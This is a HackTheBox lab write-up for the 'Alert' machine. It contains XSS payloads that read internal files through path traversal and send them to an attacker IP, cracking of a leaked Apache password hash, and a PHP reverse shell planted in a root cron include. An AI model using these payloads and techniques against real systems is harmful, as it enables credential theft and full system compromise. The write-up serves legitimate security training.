Post

HackTheBox - Alert


Alert from HackTheBox has a markdown viewer vulnerable to XSS which we exploit along with an LFI to read htpasswd of apache, we found a hash that we crack giving us ssh access to the box. After that we find a cronjob running a php file, one of the includes is writable so we write a php rev shell to get a root shell.

Enumeration

nmap

We start an Nmap scan using the following command: sudo nmap -sC -sV -T4 {target_IP}.

  • -sC: run all the default scripts.

  • -sV: Find the version of services running on the target.

  • -T4: Aggressive scan to provide faster results.

1
2
3
4
5
6
7
8
9
10
11
12
Host is up (0.22s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 7e:46:2c:46:6e:e6:d1:eb:2d:9d:34:25:e6:36:14:a7 (RSA)
|   256 45:7b:20:95:ec:17:c5:b4:d8:86:50:81:e0:8c:e8:b8 (ECDSA)
|_  256 cb:92:ad:6b:fc:c8:8e:5e:9f:8c:a2:69:1b:6d:d0:f7 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Did not follow redirect to http://alert.htb/
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

We found two open ports, 22 running OpenSSH and 80 is Apache redirecting to alert.htb.

Web

Let’s add the host alert.htb to /etc/hosts file and navigate to it.

website

The website is a markdown viewer, and we have an upload form.

There is also a contact page.

Let’s run a directory scan to see if there is anything else.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher πŸ€“                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            β”‚ http://alert.htb
 πŸš€  Threads               β”‚ 50
 πŸ“–  Wordlist              β”‚ /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt
 πŸ‘Œ  Status Codes          β”‚ All Status Codes!
 πŸ’₯  Timeout (secs)        β”‚ 7
 🦑  User-Agent            β”‚ feroxbuster/2.11.0
 πŸ”Ž  Extract Links         β”‚ true
 🏁  HTTP methods          β”‚ [GET]
 🚫  Do Not Recurse        β”‚ true
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menuβ„’
──────────────────────────────────────────────────
404      GET        9l       31w      271c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403      GET        9l       28w      274c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
302      GET       23l       48w      660c http://alert.htb/index.php => index.php?page=alert
200      GET      182l      385w     3622c http://alert.htb/css/style.css
302      GET       23l       48w      660c http://alert.htb/ => index.php?page=alert
301      GET        9l       28w      304c http://alert.htb/css => http://alert.htb/css/
301      GET        9l       28w      309c http://alert.htb/messages => http://alert.htb/messages/
301      GET        9l       28w      308c http://alert.htb/uploads => http://alert.htb/uploads/
[####################] - 53s    20483/20483   0s      found:6       errors:0      
[####################] - 53s    20477/20477   389/s   http://alert.htb/                                     

We found messages and uploads but they are forbidden. Even using the /index.php?page=messages didn’t show us anything.

Let’s run a subdomain scan.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
[β˜…]$ ffuf -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://alert.htb -H "Host: FUZZ.alert.htb" -fw 20
                                               
        /'___\  /'___\           /'___\                                                        
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/       
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       
                                               
       v2.1.0-dev                                                                              
________________________________________________   
                                                                                               
 :: Method           : GET                                                                                                                                                                    
 :: URL              : http://alert.htb                                                                                                                                                       
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.alert.htb                                                    
 :: Follow redirects : false                                                                   
 :: Calibration      : false                                                                   
 :: Timeout          : 10                                                                                                                                                                     
 :: Threads          : 40                                                                                                                                                                     
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500       
 :: Filter           : Response words: 20                                                      
________________________________________________
                                                                                               
statistics              [Status: 401, Size: 467, Words: 42, Lines: 15, Duration: 119ms]

We found statistics, we add it to /etc/hosts file and navigate to it.

stati

We got basic HTTP authentication. We don’t have any creds so let’s check the markdown viewer.

I’ll directly test for XSS in markdown using the following payload.

1
2
3
# Sirius

<script>alert('XSS');</script>

xss

It worked!

The page also gives us a link to the file in the following form http://alert.htb/visualizer.php?link_share=6752b59bdc9897.46797636.md.

We need a way to send this to other people.

We have a contact page, let’s see if they click links.

links

They do click links!

To exploit this, we can use the XSS to perform a CSRF.

There was a messages page we were not able to read, let’s use the following script to read it.

1
2
3
4
5
6
7
<script>
fetch("/index.php?page=messages", {method:'GET',mode:'no-cors',credentials:'same-origin'})
  .then(response => response.text())
  .then(text => { 
    fetch('http://10.10.16.8/' + btoa(text), {mode:'no-cors'}); 
  });
</script>

The code above uses fetch("/messages", {method:'GET',mode:'no-cors',credentials:'same-origin'}) to make a get request to /messages.

Then it uses .then(response => response.text()) to transform the response to text.

And with .then(text => { fetch('http://attacker.ip/' + btoa(text), {mode:'no-cors'}); }); it sends the response to our machine in a base64 format using btao.

We put the script in a md file and send it.

mess

then we copy the link and send it using the contact page.

contact

We got the response back! Let’s decode it and see what’s there.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="stylesheet" href="css/style.css">
    <title>Alert - Markdown Viewer</title>
</head>
<body>
    <nav>
        <a href="index.php?page=alert">Markdown Viewer</a>
        <a href="index.php?page=contact">Contact Us</a>
        <a href="index.php?page=about">About Us</a>
        <a href="index.php?page=donate">Donate</a>
        <a href="index.php?page=messages">Messages</a>    </nav>
    <div class="container">
        <h1>Messages</h1><ul><li><a href='messages.php?file=2024-03-10_15-48-34.txt'>2024-03-10_15-48-34.txt</a></li></ul>
    </div>
    <footer>
        <p style="color: black;"> 2024 Alert. All rights reserved.</p>
    </footer>
</body>
</html>

The messages page loads a txt file with messages.php?file=2024-03-10_15-48-34.txt. Let’s test if the file parameter vulnerable to LFI.

1
2
3
4
5
6
7
<script>
fetch("/messages.php?file=../../../../../../etc/passwd", {method:'GET',mode:'no-cors',credentials:'same-origin'})
  .then(response => response.text())
  .then(text => { 
    fetch('http://10.10.16.8/' + btoa(text), {mode:'no-cors'}); 
  });
</script>

We send the md file, copy the url and send it to contact

passwd0

We got a response and we confirm there is an LFI vulnerability.

Foothold

We found the statistics subdomain which has a basic HTTP authentication.

the web server used is apache as we can see from the response headers.

1
2
3
4
5
6
7
8
9
10
[β˜…]$ curl statistics.alert.htb -v                                                                                                                                                         
[...]
> 
* Request completely sent off
< HTTP/1.1 401 Unauthorized
< Date: Fri, 06 Dec 2024 08:57:18 GMT
< Server: Apache/2.4.41 (Ubuntu)
< WWW-Authenticate: Basic realm="Restricted Area"
< Content-Length: 467
< Content-Type: text/html; charset=iso-8859-1

Apache stores the credentials for basic authentication in a file named .htpasswd.

Now we can guess the location of the file which could be /var/www/statistics/.htpasswd or we can use the LFI to read the apache configuration file /etc/apache2/sites-available/000-default.conf which contains the name of web root directory.

1
2
3
4
5
6
7
<script>
fetch("/messages.php?file=../../../../../..//etc/apache2/sites-available/000-default.conf", {method:'GET',mode:'no-cors',credentials:'same-origin'})
  .then(response => response.text())
  .then(text => { 
    fetch('http://10.10.16.8/' + btoa(text), {mode:'no-cors'}); 
  });
</script>

We send the file and url and decode the base64 string.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<pre><VirtualHost *:80>
    ServerName alert.htb

    DocumentRoot /var/www/alert.htb

    <Directory /var/www/alert.htb>
        Options FollowSymLinks MultiViews
        AllowOverride All
    </Directory>

    RewriteEngine On
    RewriteCond %{HTTP_HOST} !^alert\.htb$
    RewriteCond %{HTTP_HOST} !^$
    RewriteRule ^/?(.*)$ http://alert.htb/$1 [R=301,L]

    ErrorLog ${APACHE_LOG_DIR}/error.log
    CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>

<VirtualHost *:80>
    ServerName statistics.alert.htb

    DocumentRoot /var/www/statistics.alert.htb

    <Directory /var/www/statistics.alert.htb>
        Options FollowSymLinks MultiViews
        AllowOverride All
    </Directory>

    <Directory /var/www/statistics.alert.htb>
        Options Indexes FollowSymLinks MultiViews
        AllowOverride All
        AuthType Basic
        AuthName "Restricted Area"
        AuthUserFile /var/www/statistics.alert.htb/.htpasswd
        Require valid-user
    </Directory>

    ErrorLog ${APACHE_LOG_DIR}/error.log
    CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>

</pre>

We see that the location of the file is at /var/www/statistics.alert.htb/.htpasswd. Let’s get it.

1
2
3
4
5
6
7
<script>
fetch("/messages.php?file=../../../../../../var/www/statistics.alert.htb/.htpasswd", {method:'GET',mode:'no-cors',credentials:'same-origin'})
  .then(response => response.text())
  .then(text => { 
    fetch('http://10.10.16.8/' + btoa(text), {mode:'no-cors'}); 
  });
</script>

After decoding the string we got this.

1
albert:$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/

We got credentials, let’s crack the hash.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
hashcat hashes.txt rockyou.txt -m 1600
hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 ) - Platform #1 [Intel(R) Corporation]
=============================================================

Dictionary cache hit:
* Filename..: rockyou.txt
* Passwords.: 14344384
* Bytes.....: 139921497
* Keyspace..: 14344384

$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/:manchesterunited

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 1600 (Apache $apr1$ MD5, md5apr1, MD5 (APR))
Hash.Target......: $apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/
Time.Started.....: Fri Dec 06 10:09:15 2024 (18 secs)
Time.Estimated...: Fri Dec 06 10:09:33 2024 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:    16699 H/s (17.25ms) @ Accel:24 Loops:1 Thr:128 Vec:1
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 294912/14344384 (2.06%)
Rejected.........: 0/294912 (0.00%)
Restore.Point....: 0/14344384 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:999-1000
Candidate.Engine.: Device Generator
Candidates.#1....: 123456 -> redsox#1

Started: Fri Dec 06 10:09:11 2024
Stopped: Fri Dec 06 10:09:35 2024

Great! We got the password, now let’s ssh to the box.

Privilege Escalation

Running linpeas we notice a port listening on 8080.

1
2
3
4
5
6
7
8
9
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.1:8080          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::80                   :::*                    LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
udp        0      0 127.0.0.53:53           0.0.0.0:*                           -                   
udp        0      0 0.0.0.0:68              0.0.0.0:*                           - 

Let’s forward that port using ssh.

1
ssh -L 8000:127.0.0.1:8080 albert@alert.htb

sta

The website is static, Let’s run a directory scan.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher πŸ€“                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            β”‚ http://127.0.0.1:8000/
 πŸš€  Threads               β”‚ 50
 πŸ“–  Wordlist              β”‚ /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt
 πŸ‘Œ  Status Codes          β”‚ All Status Codes!
 πŸ’₯  Timeout (secs)        β”‚ 7
 🦑  User-Agent            β”‚ feroxbuster/2.11.0
 πŸ”Ž  Extract Links         β”‚ true
 🏁  HTTP methods          β”‚ [GET]
 🚫  Do Not Recurse        β”‚ true
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menuβ„’
──────────────────────────────────────────────────
200      GET      110l     2173w    23623c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
404      GET        7l       57w        -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET       21l      169w     1068c http://127.0.0.1:8000/LICENSE

We found LICENSE, I guess there can also be a README.md.

readme

We found the readme, reading through it we see that it uses cronjobs for automation.

I run pspy64 to see if the cronjob exists.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
2024/12/06 07:30:01 CMD: UID=0     PID=3846   | /usr/sbin/CRON -f
2024/12/06 07:30:01 CMD: UID=0     PID=3852   |
2024/12/06 07:30:01 CMD: UID=0     PID=3851   | /bin/bash /root/scripts/cleanup.sh
2024/12/06 07:30:01 CMD: UID=0     PID=3849   | /usr/sbin/CRON -f
2024/12/06 07:30:01 CMD: UID=0     PID=3848   | /bin/bash /root/scripts/cleanup.sh
2024/12/06 07:30:01 CMD: UID=0     PID=3854   | /bin/bash /root/scripts/cleanup.sh
2024/12/06 07:30:01 CMD: UID=???   PID=3855   | ???
2024/12/06 07:31:01 CMD: UID=0     PID=3860   | /usr/sbin/CRON -f                              
2024/12/06 07:31:01 CMD: UID=0     PID=3861   | /bin/sh -c /usr/bin/php -f /opt/website-monitor/monitor.php >/dev/null 2>&1 
2024/12/06 07:31:01 CMD: UID=0     PID=3862   | /usr/bin/php -f /opt/website-monitor/monitor.php
2024/12/06 07:31:08 CMD: UID=0     PID=3865   |
2024/12/06 07:32:01 CMD: UID=0     PID=3867   | /usr/sbin/CRON -f
2024/12/06 07:32:01 CMD: UID=0     PID=3869   | /usr/bin/php -f /opt/website-monitor/monitor.php
2024/12/06 07:32:01 CMD: UID=0     PID=3868   | /bin/sh -c /usr/bin/php -f /opt/website-monitor/monitor.php >/dev/null 2>&1

It does! And it’s running as root!

Now we head to /opt/website-monitor directory and see if we can edit the file.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
albert@alert:/opt/website-monitor$ ls -la
total 96
drwxrwxr-x 7 root root        4096 Oct 12 01:07 .
drwxr-xr-x 4 root root        4096 Oct 12 00:58 ..
drwxrwxr-x 2 root management  4096 Oct 12 04:17 config
drwxrwxr-x 8 root root        4096 Oct 12 00:58 .git
drwxrwxr-x 2 root root        4096 Oct 12 00:58 incidents
-rwxrwxr-x 1 root root        5323 Oct 12 01:00 index.php
-rwxrwxr-x 1 root root        1068 Oct 12 00:58 LICENSE
-rwxrwxr-x 1 root root        1452 Oct 12 01:00 monitor.php
drwxrwxrwx 2 root root        4096 Oct 12 01:07 monitors
-rwxrwxr-x 1 root root         104 Oct 12 01:07 monitors.json
-rwxrwxr-x 1 root root       40849 Oct 12 00:58 Parsedown.php
-rwxrwxr-x 1 root root        1657 Oct 12 00:58 README.md
-rwxrwxr-x 1 root root        1918 Oct 12 00:58 style.css
drwxrwxr-x 2 root root        4096 Oct 12 00:58 updates

We can’t touch monitor.php but I see that config gives the management group write access. Checking my id and we are part of that group.

1
2
albert@alert:/opt/website-monitor/config$ id                                                   
uid=1000(albert) gid=1000(albert) groups=1000(albert),1001(management)

monitor.php is including the file configuration.php located in config.

1
include('config/configuration.php')

So we can add a php reverse shell to that configuration file and get root. I’ll use the following php code.

1
$sock=fsockopen("10.10.16.8",9001);exec("sh <&3 >&3 2>&3");

Now we setup a listener and wait.

1
2
3
4
5
[β˜…]$ nc -lvnp 9001                                                                         
listening on [any] 9001 ...                                                                    
connect to [10.10.16.8] from (UNKNOWN) [10.10.11.44] 42032
id                                                                                             
uid=0(root) gid=0(root) groups=0(root)

Thank you for taking the time to read my write-up, I hope you have learned something from this. If you have any questions or comments, please feel free to reach out to me. See you in the next hack :).

This post is licensed under CC BY 4.0 by the author.